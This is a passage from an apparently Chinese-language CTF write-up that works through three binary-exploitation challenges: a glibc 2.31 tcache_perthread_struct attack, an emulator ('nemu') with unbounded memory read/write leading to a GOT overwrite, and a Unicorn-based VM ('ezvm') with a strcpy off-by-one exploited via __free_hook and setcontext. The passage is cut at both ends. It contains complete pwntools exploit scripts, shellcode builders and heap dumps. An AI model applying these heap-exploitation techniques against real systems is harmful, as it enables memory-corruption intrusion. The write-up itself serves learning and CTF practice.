bin里,事后备用payload1='aaaaaaaa'create_chunk(0x28,payload1)#然后释放tcache_perthread_structfree_index(-0x290)#接下来将tcache里的count全都置7,表示装满,以后的chunk就不会再放到这里了#同时在里面将几个next指向free_got和target_addr#这样我们之后就能向free_got和target写入数据了payload1=(p16(7)*0x28).ljust(128,b'\\x00')+(p64(free_got)+p64(target_addr)+p64(0)+p64(0))create_chunk(0x288,payload1)\n\n在写入数据之后,它会立刻把tcache_perthread_struct释放掉,不过现在会因为Tcache Bin已经满了,而被放到Unsorted Bin里。Bin结构如下:\ntcachebins0x20 [64480]: 0x404018 (free@got.plt) —▸ 0x7f1f03f31850 (free) ◂— endbr64 0x30 [1031]: 0x404080 (target) ◂— 0xfedcba9876543210.......0x280 [ 7]: 0x00x290 [ 7]: 0x0unsortedbinall: 0x1866000 —▸ 0x7f1f0407fbe0 (main_arena+96) ◂— 0x1866000\n\n首先我们先开辟0x50大小的chunk,将Unsorted Bin里的块分割开,避免里面挂着tcache_perthread_struct的头部(原因之后会解释)。\n#这里payload1没变,其实填什么都行,目的只是分割罢了create_chunk(0x48,payload1)#然后将free_got写成main,而0x401040是默认数据#在从tcache bin中获取chunk时,会将key部分写为0,这会导致free的下一个函数被清零#所以恢复其中未装载时的状态,防止调用它时发生异常payload1=p64(main_addr)+p64(0x401040)create_chunk(0x18,payload1)#然后再把target拿下来,随便写点数据进去就行了,只要不是原数就行create_chunk(0x28,payload1)#最后我们调用c3函数即可open_flag()\n\n如果我们事前没有切割Unsorted Bin,会因为2.31版本的libc检测,发生如下异常:\n\nmalloc(): unsorted double linked list corrupted\n\n因为之前Unsorted Bin中挂的是tcache_perthread_struct,在从tcache中取出chunk的时候,会把count减一,导致fd指针无所指向,构不成回环而错误(前几个版本还不这么严格,2.31显然变得苛刻了不少)\n但这个错误是发生的puts时的,该函数会在输出时为字符串开辟堆空间,所以在开辟时企图从Unsorted Bin分配时才被检测到,不会影响从Tcache Bin中的分配。\n另外,还需要注意的一点是,不能直接把free_got写成c3函数中绕过检查的地址。最后也会crash在puts中。但笔者目前不知道为什么写成main就可以,而写成c3就会crash,如果有师傅知道的话务必教教我。\n笔者自己的完整EXP:\nfrom pwn import *context.log_level = 'debug'p = process('./pwn')elf=ELF('./pwn')malloc=0x401387free=0x4013fdret=0x40154Dfree_got=elf.got['free']target_addr=0x404080ptr_addr=free_gotmain=0x40152Dmas=0x401473mas=maindef create_chunk(size,context): p.sendline(str(1)) p.sendline(str(size)) p.sendline(context)def free_index(index): p.sendline(str(2)) p.sendline(str(index))def open_flag(): p.sendline(str(3))payload1='aaaaaaaa'create_chunk(0x28,payload1)free_index(-0x290)payload1=(p16(7)*0x28).ljust(128,b'\\x00')+(p64(ptr_addr)+p64(target_addr)+p64(0)+p64(0))create_chunk(0x288,payload1)create_chunk(0x48,payload1)payload1=p64(mas)+p64(0x401040)create_chunk(0x18,payload1)create_chunk(0x28,payload1)open_flag()p.interactive()\n\n然后回到官方WP,出题人表示,能写got纯粹是一个意外,它的本意是利用io,大致逻辑如下:\n\n首先释放tcache_perthread_struct,然后修改mp_,该值确定了tcache bin中最大能容纳的chunk大小,让0x1000等chunk也使用tcache\n同时在tcache bin中挂上target,然后在使用stdout时会从中申请chunk,并将数据写进该chunk\n\nstatic struct malloc_par mp_ ={ .top_pad = DEFAULT_TOP_PAD, .n_mmaps_max = DEFAULT_MMAP_MAX, .mmap_threshold = DEFAULT_MMAP_THRESHOLD, .trim_threshold = DEFAULT_TRIM_THRESHOLD,#define NARENAS_FROM_NCORES(n) ((n) * (sizeof (long) == 4 ? 2 : 8)) .arena_test = NARENAS_FROM_NCORES (1)#if USE_TCACHE , .tcache_count = TCACHE_FILL_COUNT, .tcache_bins = TCACHE_MAX_BINS, .tcache_max_bytes = tidx2usize (TCACHE_MAX_BINS-1), .tcache_unsorted_limit = 0 /* No limit. */#endif};\n\n官方EXP如下:(笔者自行添加了注释)\n#!/usr/bin/env python3from pwn import *context(os='linux', arch='amd64')#context.log_level='debug'def exp(): io = process('./pwn', stdout=PIPE) def malloc(size, content): io.sendlineafter(b'>', b'1') io.sendline(str(int(size)).encode()) io.send(content) def tcache_count(l): res = [b'\\x00\\x00' for i in range(64)] for t in l: res[(t - 0x20)//0x10] = b'\\x08\\x00' return b''.join(res) try: #在top chunk中布置0x404078,扩大tcache之后,这些都会变为next指针 malloc(0x1000, p64(0x404078)*(0x1000//8)) #释放tcache_perthread_struct io.sendlineafter(b'>', b'2') io.sendline(b'-656') #首先把0x290的count置8,让tcache_perthread_struct放进unsorted bin malloc(0x280, tcache_count([0x290]) + b'\\n') #然后分割tcache_perthread_struct,让tcache bin中的0x400和0x410项放入main_arena+96 malloc(0x260, tcache_count([0x270]) + b'\\n') #然后把0x400和0x410也拉满,然后把0x400里的地址低位改成0xf290 #这是单纯的爆破,希望它能指向&mp_+0x10 malloc(0x280, tcache_count([0x400, 0x410, 0x290]) + b'\\x01\\x00'*4*62 + b'\\x90\\xf2' + b'\\n') #倘若指向了&mp_+0x10,那么就修改数据扩大tcache malloc(0x3f0, flat([ 0x20000, 0x8, 0, 0x10000, 0, 0, 0, 0x1301000, 2**64-1, ]) + b'\\n') #调用puts,让它为stdout开辟缓冲区,此时会从tcache中获取chunk #但tcache中已经被布置了0x404078,所以会得到此处内存 #并且这个内存处会被陷入puts的字符串 io.sendlineafter(b'>', b'3') #此时target已被修改,直接调用即可成功 io.sendlineafter(b'>', b'3') flaaag = io.recvall(timeout=2) print(flaaag) io.close() return True except: io.close() return Falsei = 0while i < 20 and not exp(): i += 1 continue\n\n另外补充一些内容。虽然之前知道vtable的跳转,但我没深究过,这次遇到了,所以顺便做点总结。puts函数在调用时会通过vtable访问_IO_file_xsput函数,该函数才是真正的puts实现,调用过程如下:\n\nputs–>_IO_file_xsputn–>_IO_file_overflow–>_IO_doallocbuf-->_IO_file_doallocate\n\n_IO_file_doallocate中真正调用malloc开辟缓冲区,调用源码:\n_IO_new_file_overflow (FILE *f, int ch){ ...... /* If currently reading or no buffer allocated. */ if ((f->_flags & _IO_CURRENTLY_PUTTING) == 0 f->_IO_write_base == NULL) { /* Allocate a buffer if needed. */ if (f->_IO_write_base == NULL) { _IO_doallocbuf (f); _IO_setg (f, f->_IO_buf_base, f->_IO_buf_base, f->_IO_buf_base); } ......}libc_hidden_ver (_IO_new_file_overflow, _IO_file_overflow)\n\n_IO_doallocbuf中通过跳转表调用_IO_file_doallocate开辟空间。\n至此本题结束。\nnemu一个模拟器,个人认为难点在于把握整个程序的逻辑。因为程序本身的体量不小,光是漏洞发觉就需要好一阵子。\n样本分析help命令可以知道一共有多少命令可用。\n(nemu) helphelp - Display informations about all supported commandsc - Continue the execution of the programq - Exit NEMUsi - Execute the step by oneinfo - Show all the regester' informationx - Show the memory thingsp - Show varibeals and numbersw - Set the watch pointd - Delete the watch pointset - Set memory\n\n阅读源代码可知,初始化阶段调用load_img加载image,nemu使用的image内容如下:\nstatic inline int load_default_img() { const uint8_t img [] = { 0xb8, 0x34, 0x12, 0x00, 0x00, // 100000: movl $0x1234,%eax 0xb9, 0x27, 0x00, 0x10, 0x00, // 100005: movl $0x100027,%ecx 0x89, 0x01, // 10000a: movl %eax,(%ecx) 0x66, 0xc7, 0x41, 0x04, 0x01, 0x00, // 10000c: movw $0x1,0x4(%ecx) 0xbb, 0x02, 0x00, 0x00, 0x00, // 100012: movl $0x2,%ebx 0x66, 0xc7, 0x84, 0x99, 0x00, 0xe0, // 100017: movw $0x1,-0x2000(%ecx,%ebx,4) 0xff, 0xff, 0x01, 0x00, 0xb8, 0x00, 0x00, 0x00, 0x00, // 100021: movl $0x0,%eax 0xd6, // 100026: nemu_trap }; Log("No image is given. Use the default build-in image."); memcpy(guest_to_host(ENTRY_START), img, sizeof(img)); return sizeof(img);}\n\n程序只给了一部分实现,像是exec_real函数就并未给出源代码,因此只能靠逆向完成。其大致过程如下:\n.data:000000000060F240 opcode_table opcode_entry 0Fh dup(<0, offset exec_inv, 0>).data:000000000060F240 ; DATA XREF: exec_2byte_esc+9E↑o.data:000000000060F240 ; exec_2byte_esc+A5↑r ....data:000000000060F240 opcode_entry <0, offset exec_2byte_esc, 0>.data:000000000060F240 opcode_entry 56h dup(<0, offset exec_inv, 0>).data:000000000060F240 opcode_entry <0, offset exec_operand_size, 0>.data:000000000060F240 opcode_entry 19h dup(<0, offset exec_inv, 0>)......以下略\n\n其中,opcode_entry结构体如下:\ntypedef struct { DHelper decode; EHelper execute; int width;} opcode_entry;\n\ndecode和execute都是函数指针,它们指向解析指令函数和执行指令函数。\n例如:exec_mov(本题似乎只实现了mov指令,其他指令的执行函数是无效的)\nvoid __fastcall exec_mov(vaddr_t *eip_0){ __int64 v1; // r9 __int64 v2; // r9 operand_write(&decoding.dest, &decoding.src.val); v1 = 108LL; if ( decoding.dest.width != 4 ) { v1 = 98LL; if ( decoding.dest.width != 1 ) { v1 = 63LL; if ( decoding.dest.width == 2 ) v1 = 119LL; } } if ( __snprintf_chk(141182936LL, 80LL, 1LL, 80LL, "mov%c %s,%s", v1, decoding.src.str, decoding.dest.str) > 79 ) { fflush(stdout); fwrite("\\x1B[1;31m", 1uLL, 7uLL, stderr); fwrite("buffer overflow!", 1uLL, 0x10uLL, stderr); fwrite("\\x1B[0m\\n", 1uLL, 5uLL, stderr); v2 = 108LL; if ( decoding.dest.width != 4 ) { v2 = 98LL; if ( decoding.dest.width != 1 ) { v2 = 63LL; if ( decoding.dest.width == 2 ) v2 = 119LL; } } if ( __snprintf_chk(141182936LL, 80LL, 1LL, 80LL, "mov%c %s,%s", v2, decoding.src.str, decoding.dest.str) > 79 ) __assert_fail( "snprintf(decoding.assembly, 80, \\"mov\\" \\"%c %s,%s\\", (((&decoding.dest)->width) == 4 ? 'l' : (((&decoding.dest)" "->width) == 1 ? 'b' : (((&decoding.dest)->width) == 2 ? 'w' : '?'))), (&decoding.src)->str, (&decoding.dest)->str) < 80", "src/cpu/exec/data-mov.c", 5u, "exec_mov"); }}\n\ndecoding是全局变量,指令会先被解析到decoding中,然后在exec_mov中使用该结构。结构如下:\ntypedef struct { uint32_t opcode; vaddr_t seq_eip; // sequential eip bool is_operand_size_16; uint8_t ext_opcode; bool is_jmp; vaddr_t jmp_eip; Operand src, dest, src2;#ifdef DEBUG char assembly[80]; char asm_buf[128]; char *p;#endif} DecodeInfo;\n\n阅读大致源码就能发现,nemu在模拟指令执行流程,但每一条指令都不是真正被执行的,并且也由于它实现的指令数量太少,不可能通过加载字节码的方式来利用,所以应该另寻他路。\n但注意到所谓image是一个数组,通过下述定义:\n#define PMEM_SIZE (128 * 1024 * 1024)uint8_t pmem[PMEM_SIZE] = {0};\n\n其既然作为全局变量被声明,就说明它并非开辟在栈上,但也因为它过大的尺寸且不需要初值,所以被置于不占空间的bss段上,那么访问该映像就是访问bss。注意到nemu提供了指令x用于获取对应地址的内容,其关键实现如下:\nuint32_t __fastcall vaddr_read(vaddr_t addr, int len){ return *&pmem[addr] & (0xFFFFFFFF >> (8 * (4 - len)));//len==4}\n\n能够发现,它没有对地址进行限定,也就是说,能够访问超出image范围的内存,实现任意地址读(指任意高地址读)。\n同时,指令set的核心实现vaddr_write如下:\nvoid __fastcall vaddr_write(vaddr_t addr, int len, uint32_t data){ uint32_t dataa; // [rsp+4h] [rbp-14h] BYREF unsigned __int64 v4; // [rsp+8h] [rbp-10h] dataa = data; v4 = __readfsqword(0x28u); memcpy((addr + 0x6A3B80LL), &dataa, len);}\n\n0x6A3B80LL就是pmem,这里同样没有做地址限制,能够实现任意地址写(但必须注意,任意地址写并不准确,只能往pmem的高地址任意写,没办法向低地址写)。\n既然已经能任意地址读写了,那我们的目的自然也就明确了,读出libc_base,然后某个函数为one_gadget就行了。\n看起来这样好像就行了,但如果没看过wp就不会这么顺利了,也把其他指令分析一下看看吧。\n指令w的核心是set_watchpoint:(精简后)\nvoid __fastcall set_watchpoint(char *args){ if ( flag ) { v2 = free_; v3 = free_->next; free_->old_val = v1; v2->next = 0LL; free_ = v3; *v2->exp = *args; *&v2->exp[8] = *(args + 1); *&v2->exp[16] = *(args + 2); *&v2->exp[24] = *(args + 6); *&v2->exp[28] = *(args + 14); v4 = head; if ( head ) { while ( v4->next ) v4 = v4->next; v2->NO = v4->NO + 1; v4->next = v2; } else { v2->NO = 1; head = v2; } }}\n\nnemu对watchpoint的内存使用内存池管理,在初始化阶段通过init_wp_pool构建内存池:\nvoid __cdecl init_wp_pool(){ __int64 v0; // rax int i; // edx v0 = 141180952LL; for ( i = 0; i != 32; ++i ) { *(v0 - 56) = i; *(v0 - 48) = v0; v0 += 56LL; } wp_pool[31].next = 0LL; head = 0LL; free_ = wp_pool;}\n\nhead和free以及wp_pool都是watchpoint结构体指针,定义如下:\ntypedef struct watchpoint { int NO; struct watchpoint *next; char exp[30]; uint32_t old_val; uint32_t new_val;} WP;\n\n而wp_pool同时也是一个数组,但这方面不用多想,逻辑是朴素的:\n\n内存池是wp_pool,初始化阶段会将整个内存池挂进free_\n申请wp时,从free_中获取一个结构体;释放时,将目标放回free_链表(均通过next指针)\nhead指针是指向使用中的wp结构体的在调用set_watchpoint时,将申请到的结构体挂进head,通过head遍历所有的wp\n\n这里同样有能够利用的地方,重点如下:\nv2 = free_;v2->next = 0LL;*v2->exp = *args;\n\n如果我们能够修改free_的内容为某个地址,就能通过指令w向该地址写入数据了\n不过会否有些多此一举?不是已经能够任意地址写了吗?那这有什么意义呢?\n尽管已经能够任意地址写了,但vaddr_write是写4字节,set_watchpoint能一次写入0x28字节;并且,我们需要把写入地址传给vaddr_write,这些参数会经过expr的处理,经笔者测试后发现,对于一些较大的地址参数会被越过而无法写入。不过expr函数的主要作用就是解析参数,似乎我们不应该费力去分析它的工作流程,所以笔者对w指令的分析到此为止,不再深入\n指令d的核心是delete_watchpoint,是指令w的逆操作,这里不再赘述。而指令p、指令q等则未完成,所以没有实现。\n至此我们已经分析完会接触到的所有指令,并有了思路,接下来是利用。\n首先我们应该泄露libc_base。但读取数据是有限制的,首先,我们只能读取pmem的高位,其次,不能高出太多,最多是四个字节的表示范围内。所以我们应该从bss中找一个能够获取chunk地址的数据。通过调试,我们选择re为目标:\nstatic regex_t re[NR_REGEX];\n\n这个数组在初始化完成以后会被放入一系列的缓冲区,大致结构如下:\n{ __buffer = 0x86a5530, __allocated = 0xe0, __used = 0xe0, __syntax = 0x3b2fc, __fastmap = 0x86a5420 "", __translate = 0x0, re_nsub = 0x0, __can_be_null = 0x0, __regs_allocated = 0x0, __fastmap_accurate = 0x1, __no_sub = 0x0, __not_bol = 0x0, __not_eol = 0x0, __newline_anchor = 0x0}\n\nbuffer是从堆上开辟的,任意读一个buffer出来,我们都能拿到堆的基址:\ncmd_x(pmem_end+0x40)recv_pad()#吸收掉无用数据heap_base=int(p.recv(8),16)-0x530print("heap_base:"+str(hex(heap_base)))\n\n然后通过调试找一块在当前状态下fd或bk未没清空的chunk(笔者试着在Bin中查找,但那个方法不太起效,所以直接通过gdb的heap指令找了一块出来):\n#因为一次只能读取4字节,所以需要调整参数读两次target_chunk=heap_base+0x19770+0x10cmd_x(heap_base+(0x951d090-0x9504000)-pmem_start+0x18)recv_pad()libc_leak=int(p.recv(8),16)cmd_x(heap_base+(0x951d090-0x9504000)-pmem_start+0x18+4)recv_pad()libc_leak2=int(p.recv(8),16)libc_leak=(libc_leak2<<32)+libc_leaklibc_base=libc_leak-(0x7f575472db98-0x00007f5754369000)print("libc_base:"+str(hex(libc_base)))\n\n接下来就需要写got表了,但我们知道,got表在pmem的低地址处,正常操作写不到它,因此这里需要用到指令w来做另外一种写数据:\n#首先,把free_写入printf_chk_got-0x30cmd_set(free_-pmem_start,printf_chk_got-0x30)#接下来调用指令wcmd_w(one_gadget)\n\n指令w的关键汇编如下:\n.text:0000000000409602 mov rcx, cs:free_.text:0000000000409609 test rcx, rcx.text:000000000040960C jz loc_4096BC.text:0000000000409612 mov rdx, [rcx+8].text:0000000000409616 mov [rcx+30h], eax\n\neax是我们的参数低4位,而rcx则是free_。该函数会将free_取出,并在[rcx+30h]处放入eax,我们由此完成got表的篡改。\n最后只需要调用printf_chk函数即可。\n笔者自己的完整exp:\nfrom pwn import *context(arch='i386',os='linux',log_level = 'debug')p=process("./nemu")elf=ELF("./nemu")libc=elf.libcdef dbg(addr): gdb.attach(p,'b *({})\\nc\\n'.format(addr))def send_cmd(cmd): p.recvuntil('(nemu) ') p.sendline(cmd)def cmd_x(addr): cmd="x "+str(hex(addr)) send_cmd(cmd)def cmd_set(addr,context): cmd="set "+str(hex(addr))+" "+str(context) send_cmd(cmd)def cmd_w(addr): cmd="w "+str(hex(addr)) send_cmd(cmd)def recv_pad(): p.recvuntil("0x") p.recvuntil("0x") p.recvuntil("0x")pmem_end=0x8000000pmem_start=0x6A3B80free_=0x86A3FC0########### part 1 ###########cmd_x(pmem_end+0x40)recv_pad()heap_base=int(p.recv(8),16)-0x530print("heap_base:"+str(hex(heap_base)))target_chunk=heap_base+0x19770+0x10cmd_x(heap_base+(0x951d090-0x9504000)-pmem_start+0x18)recv_pad()libc_leak=int(p.recv(8),16)cmd_x(heap_base+(0x951d090-0x9504000)-pmem_start+0x18+4)recv_pad()libc_leak2=int(p.recv(8),16)libc_leak=(libc_leak2<<32)+libc_leaklibc_base=libc_leak-(0x7f575472db98-0x00007f5754369000)print("libc_base:"+str(hex(libc_base)))og = [0x4527a,0xf03a4,0xf1247]one_gadget=libc_base+og[0]printf_chk_got=elf.got["__printf_chk"]cmd_set(free_-pmem_start,printf_chk_got-0x30)cmd_w(one_gadget)#因为没输入参数而调用printf_chkcmd="w"send_cmd(cmd)p.interactive()\n\n\n题外话:笔者看了一下官方WP和Nu1L战队对本题的解法,脑洞大开,不得不感叹师傅们真的太强了……不过heap_base的思路来自于C4oy1师傅\n\nezvm第一次接触Unicorn,虽然之前也遇到过类似的题目,但当时受限于技术水平,连WP都不能很好的理解,这次算是正式接触这类模拟器了。\nUnicorn是一款成熟的开源CPU模拟器,本题通过该项目实现了一个简单的虚拟机。其main函数简化后的主要逻辑如下:(出于可读性考虑,所以简化代码后不考虑代码是否可执行)\n__int64 __fastcall main(__int64 a1, char **a2, char **a3){ puts("Send your code:"); v11 = get_input(&unk_54E0, 0x4000); v5 = 4660; v6 = 22136; puts("Emulate i386 code"); v10 = 0x7FFFFFFFE000LL; v7 = uc_open(4LL, 8LL, &v8); uc_mem_map(v8, 0x400000LL, 0x10000LL, 7LL); uc_mem_map(v8, 0x7FFFFFFEF000LL, 0x10000LL, 7LL); uc_mem_write(v8, 0x400000LL, &unk_54E0, v11 - 1) uc_hook_add(v8, v9, 2LL, handle_syscall, 0LL, 1LL,0LL,699LL);//UC_X86_INS_SYSCALL uc_reg_write(v8, 44LL, &v10); v7 = uc_emu_start(v8, 0x400000LL, v11 + 0x3FFFFF, 0LL, 0LL); uc_reg_read(v8, 22LL, &v5); uc_reg_read(v8, 24LL, &v6); printf(">>> ECX = 0x%x\\n", v5); printf(">>> EDX = 0x%x\\n", v6); uc_close(v8); return 0LL;}\n\n大致意思是:\n\n初始化一台模拟器,将用户输入的机器码映射到模拟器的0x400000地址处,然后注册一个syscall_hook,当模拟器内执行syscall指令时,调用hook中的实现。最后将模拟器的ecx和edx寄存器内容读出显示给用户。\n\nhandle_syscall函数简化后的逻辑如下:\nunsigned __int64 __fastcall handle_syscall(__int64 a1){ uc_reg_read(a1, 35LL, &reg_rax); if ( reg_rax == 1 ) system_write(a1); else if ( reg_rax == 2 ) system_open(a1); else if ( reg_rax == 3 ) system_close(a1); else if(reg_rax == 0) system_read(a1);}\n\n文件结构如下:\nstruct_fd struc ; (sizeof=0x48, mappedto_8)00000000 fileno dq ?00000008 name db 24 dup(?)00000020 malloc_buf dq ?00000028 malloc_size dq ?00000030 read_func dq ? 00000038 write_func dq ? 00000040 close_func dq ? 00000048 struct_fd ends\n\n另外,本题开启了沙箱,具体代码如下:\nprctl(38, 1LL, 0LL, 0LL, 0LL);prctl(22, 2LL, &v1);\n\n沙箱规则这里就不细究了,大致意思就是只能使用orw三个调用。\nsystem_open这里笔者只截取核心实现:fd_malloc\nsize_t __fastcall fd_malloc(const char *a1, unsigned __int64 a2){ unsigned __int64 size; // [rsp+0h] [rbp-20h] int i; // [rsp+14h] [rbp-Ch] int j; // [rsp+14h] [rbp-Ch] struct_fd *v6; // [rsp+18h] [rbp-8h] size = a2; for ( i = 0; i <= 15; ++i ) { if ( !strcmp(struct_file[i].name, a1) ) return struct_file[i].fileno; } if ( count_fd > 15 ) return 0xFFFFFFFFLL; if ( a2 > 0x400 ) size = 0x400LL; for ( j = 0; j <= 15 && struct_file[j].name[0]; ++j ) ; v6 = &struct_file[j]; v6->malloc_buf = malloc(size); strcpy(v6->name, a1); v6->read_func = malloc_read; v6->write_func = malloc_write; v6->close_func = malloc_close; v6->fileno = j; ++count_fd; v6->malloc_size = size; return v6->fileno;}\n\n注意到第22行的strcpy函数,它将a1按字节传入v6->name,根据文件结构可知,如果a1字符串足够长,就应该能从name溢出到malloc_buf,因为strcpy会一直拷贝直到src遇到’\\x00’字符为止。\n而在system_open函数中可以发现,a1的来源如下:\nchar name[56];uc_reg_read(a1, 39LL, &v3);uc_reg_read(a1, 0x2BLL, &size);if ( !uc_mem_read(a1, v3, name, 24LL) ){ v2 = fd_malloc(name, size); (uc_reg_write)(a1, 35LL, &v2);}\n\n此处的a1是模拟器本身,uc_reg_read会从edi和esi寄存器中分别读出数据放入v3和size,v3则是字符串指针,再通过uc_mem_read将指针处字符串读出,写入name数组。\n但值得注意的是,uc_mem_read最多读取24个字符,所以name只会有24个字符。\n同时我们可以知道,文件结构中的name字段也是24个字符,而strcpy函数会在dest字符串尾部用’\\x00’填充。因此,如果name填满24字节,就会有一个’\\x00’溢出到malloc_buf处导致off-by-one漏洞。\nfd_write同样只看关键部分:\nssize_t __fastcall fd_write(int fd, const void *buf, size_t size){ int i; // [rsp+2Ch] [rbp-4h] for ( i = 0; i <= 15; ++i ) { if ( struct_file[i].fileno == fd ) return struct_file[i].write_func(&struct_file[i].fileno, buf, size); } return 0xFFFFFFFFLL;}\n\nwrite_func是之前储存在文件结构中的函数指针,其实现如下:\nsize_t __fastcall malloc_write(struct_fd *fd, const void *buf, unsigned __int64 size_1){ unsigned __int64 size; // [rsp+28h] [rbp-8h] size = size_1; if ( size_1 > fd->malloc_size && size_1 > 0x400 ) size = 0x400LL; if ( size > fd->malloc_size ) fd->malloc_buf = realloc(fd->malloc_buf, size); fd->malloc_size = size; memcpy(fd->malloc_buf, buf, size); return size;}\n\n首先通过fileno找到对应的文件,然后用memcpy将buf中的内容拷贝到fd->malloc_buf中。\nsystem_readssize_t __fastcall fd_read(int a1, void *a2, size_t a3){ int i; // [rsp+2Ch] [rbp-4h] for ( i = 0; i <= 15; ++i ) { if ( struct_file[i].fileno == a1 ) return struct_file[i].read_func(&struct_file[i].fileno, a2, a3); } return 0xFFFFFFFFLL;}\n\nsize_t __fastcall malloc_read(struct_fd *fd, void *buf, size_t size){ size_t n; // [rsp+28h] [rbp-8h] n = size; if ( size > fd->malloc_size ) n = fd->malloc_size; memcpy(buf, fd->malloc_buf, n); return n;}\n\n通过memcpy将fd->malloc_buf的数据拷贝到buf里。\nsystem_close__int64 __fastcall fd_free(int a1){ int i; // [rsp+1Ch] [rbp-4h] for ( i = 0; i <= 15; ++i ) { if ( struct_file[i].fileno == a1 ) return struct_file[i].close_func(&struct_file[i]); } return 0xFFFFFFFFLL;}\n\n__int64 __fastcall malloc_close(struct_fd *fd){ if ( fd->malloc_buf ) free(fd->malloc_buf); memset(fd->name, 0, sizeof(fd->name)); fd->malloc_buf = 0LL; fd->malloc_size = 0LL; --count_fd; return 0LL;}\n\n释放fd->malloc_buf并置零,其他参数数据清空,全局fd计数器减一。\n但必须注意的是,对于stdin、stdout、stderr,它们有自己另外的处理函数:\nssize_t __fastcall sub_168E(_QWORD *a1, void *a2, size_t a3){ return read(*a1, a2, a3);}\n\nssize_t __fastcall sub_16C3(_QWORD *a1, const void *a2, size_t a3){ return write(*a1, a2, a3);}\n\nint __fastcall sub_166E(_QWORD *a1){ return close(*a1);}\n\n如果inode编号是这三个,就不会调用malloc_xxx了。\n利用分析整个程序关键的函数只有上面这几个,我们目前只发现了一个在open中的漏洞。\n首先我们能够溢出fd->malloc_buf,那么就能将对应地址释放,然后造成uaf。\n首先我们需要泄露libc基址。因为用户是没办法和虚拟机直接交互的,并且unicorn中模拟的程序与我们有着完全不同的地址空间,因此我们想要泄露用户层的地址就只能依托,因此直接通过字节码来获取数据是行不通的,因为我们的数据和它们的数据在理论上是隔离的。\n但有一个地方并没用隔离开,就是fd->malloc_buf,这个buf是从用户空间开辟出来的,里面会存有用户空间的数据。\n\n以下利用方式主要参考Nu1L战队给出的exp\n\n我们先试着随便放点可执行的机器码进去,然后看看此时的堆状态:\nx20 [ 3]: 0x55d984671e70 —▸ 0x55d984671ec0 —▸ 0x55d984671ee0 ◂— 0x00x30 [ 1]: 0x55d984671e90 ◂— 0x00x40 [ 2]: 0x55d984671290 —▸ 0x55d98466cb80 ◂— 0x00x70 [ 1]: 0x55d98466c540 ◂— 0x00xd0 [ 2]: 0x55d98466fb50 —▸ 0x55d984663c60 ◂— 0x00x240 [ 1]: 0x55d984671660 ◂— 0x00x310 [ 2]: 0x55d98466fc20 —▸ 0x55d9846649e0 ◂— 0x00x390 [ 1]: 0x55d9846712d0 ◂— 0x0fastbins0x20: 0x00x30: 0x00x40: 0x00x50: 0x00x60: 0x00x70: 0x00x80: 0x0unsortedbinall: 0x55d984694a20 —▸ 0x7ff43a2bebe0 (main_arena+96) ◂— 0x55d984694a20smallbinsemptylargebins0x1400: 0x55d9846743c0 —▸ 0x7ff43a2bf220 (main_arena+1696) ◂— 0x55d9846743c0\n\n注意到unsortedbin和largebins此时是有内容的,而开辟是使用malloc,不会清空内容。那么我们只要通过system_open让fd->malloc_buf从unsortedbin或largebins中开辟内容,然后用write将它们写出来,就泄露了libc地址。\n#读入设备名sc += sys_read(0,get_name(0),0x20)#打开设备,让其从largebins中获取fd->malloc_buf的内存sc += sys_open(get_name(0),0xb0)#将fd->malloc_buf中残留的数据读出到缓冲区sc += sys_read(3,get_name(1),0x100)#将缓冲区的数据输出给用户sc += sys_write(1,get_name(1),8)\n\n尽管现在泄露了地址,但利用却有些困难。Unicorn是以外部链接库的方式被调用的,我们不清楚它在执行过程中调用了多少malloc和free(除非我们真的去阅读源代码了,但似乎不太现实),所以布置起来会有些麻烦。但还是有些特别的小技巧可用。\n观察之前的堆状态我们可以知道,有个别几个Bin像是不被库调用的,比如size=0x60/0x80/0xc0等,这些大小的chunk在Tcache bin中不存在,保守估计,我们能够找到一个完全由我们自己控制的大小块,这样就不需要担心因为调用库而被干扰了。\n在上面泄露地址时:\nsc += sys_open(get_name(0),0xb0)\n\n调用本行时,会申请0xc0大小的chunk,该chunk就很有可能不会被影响到。\n接下来的思路是:\n\n首先关闭inode 3,将0xc0的chunk释放到tcache bin,然后通过off-by-one溢出到该chunk的上方,然后write该chunk去向下覆盖其fd指针,这样就能在之后开辟chunk到该fd。\n我们可以让它是__free_hook,那么就能写成one_gadget或其他各种各样了(不过本题开启了沙箱,所以one_gadget不行,还是得老老实实orw拿出flag)。\n\n剩下的payload就不言而喻了,直接给出Nu1L师傅们的exp吧:(自己加了点注释)\nfrom pwn import *context.arch = 'amd64'context.log_level = 'debug'def read(fd,addr,size): sc = ''' xor eax,eax; push {}; pop rdi; mov rsi,{}; push {}; pop rdx; syscall; '''.format(fd,addr,size) return scdef write(fd,addr,size): sc = ''' push 1; pop rax; push {}; pop rdi; mov rsi,{}; push {}; pop rdx; syscall; '''.format(fd,addr,size) return scdef close(fd): sc = ''' push 3; pop rax; push {}; pop rdi; syscall; '''.format(fd) return scdef insert(name_addr,size): sc = ''' push 2; pop rax; mov rdi,{}; push {}; pop rsi; syscall; '''.format(name_addr,size) return scdef get_name(idx): return 0x7FFFFFFEF000+0x20*idx#a chunk size 0x20def dbg(addr): gdb.attach(p,'b *$rebase({})\\n'.format(addr))p = process("./easyvm",env={'LD_PRELOAD':'./libunicorn.so.1'})elf=ELF("./easyvm")libc=elf.libc##---------PART 1---------##sc = ''sc += read(0,get_name(0),0x20)sc += insert(get_name(0),0xb0)#3sc += read(3,get_name(1),0x100)sc += write(1,get_name(1),8)sc += read(0,get_name(2),0x20)sc += insert(get_name(2),0x100)#4sc += read(0,get_name(3),0x20)sc += insert(get_name(3),0xb0)#5sc += read(0,get_name(4),0x300)sc += close(5)sc += close(3)sc += write(4,get_name(4),0x38)sc += insert(get_name(0),0xb0)sc += insert(get_name(3),0xb8)sc += write(5,get_name(4)+0x38,0xb8)sc += 'mov rdx,0x100;'sc = asm(sc)p.sendlineafter('Send your code:',sc)##---------PART 2---------##name = '/dev/a'p.send(name)#open inode 3libc_base=u64(p.recvuntil("\\x7f")[-6:]+'\\x00\\x00')-(0x7f42d70db1f0-0x7f42d6eef000)print(hex(libc_base))libc.address=libc_base##---------PART 3---------##p.send('/dev/'.ljust(0x18,'b'))#off-by-one#open inode 4p.send('/dev/c')#open inode 5#free_hook-->read-->setcontext#setcontext->>read rop in bssrsp to bsspayload=p64(libc.address+0x0000000000154930)+p64(libc.sym['__free_hook']-0x10)+p64(libc.sym['setcontext']+61)sig = SigreturnFrame()sig.rsp = libc.bss(0x500)sig.rip = libc.sym['read']sig.rdi = 0sig.rsi = libc.bss(0x500)sig.rdx = 0x300sig = str(sig)payload += sig[0x28:]p.send('A'*0x28+p64(0x81)+p64(libc.sym['__free_hook'])+payload)##---------PART 4---------###create orw roppop_rdi = 0x0000000000026b72+libc.addresspop_rsi = 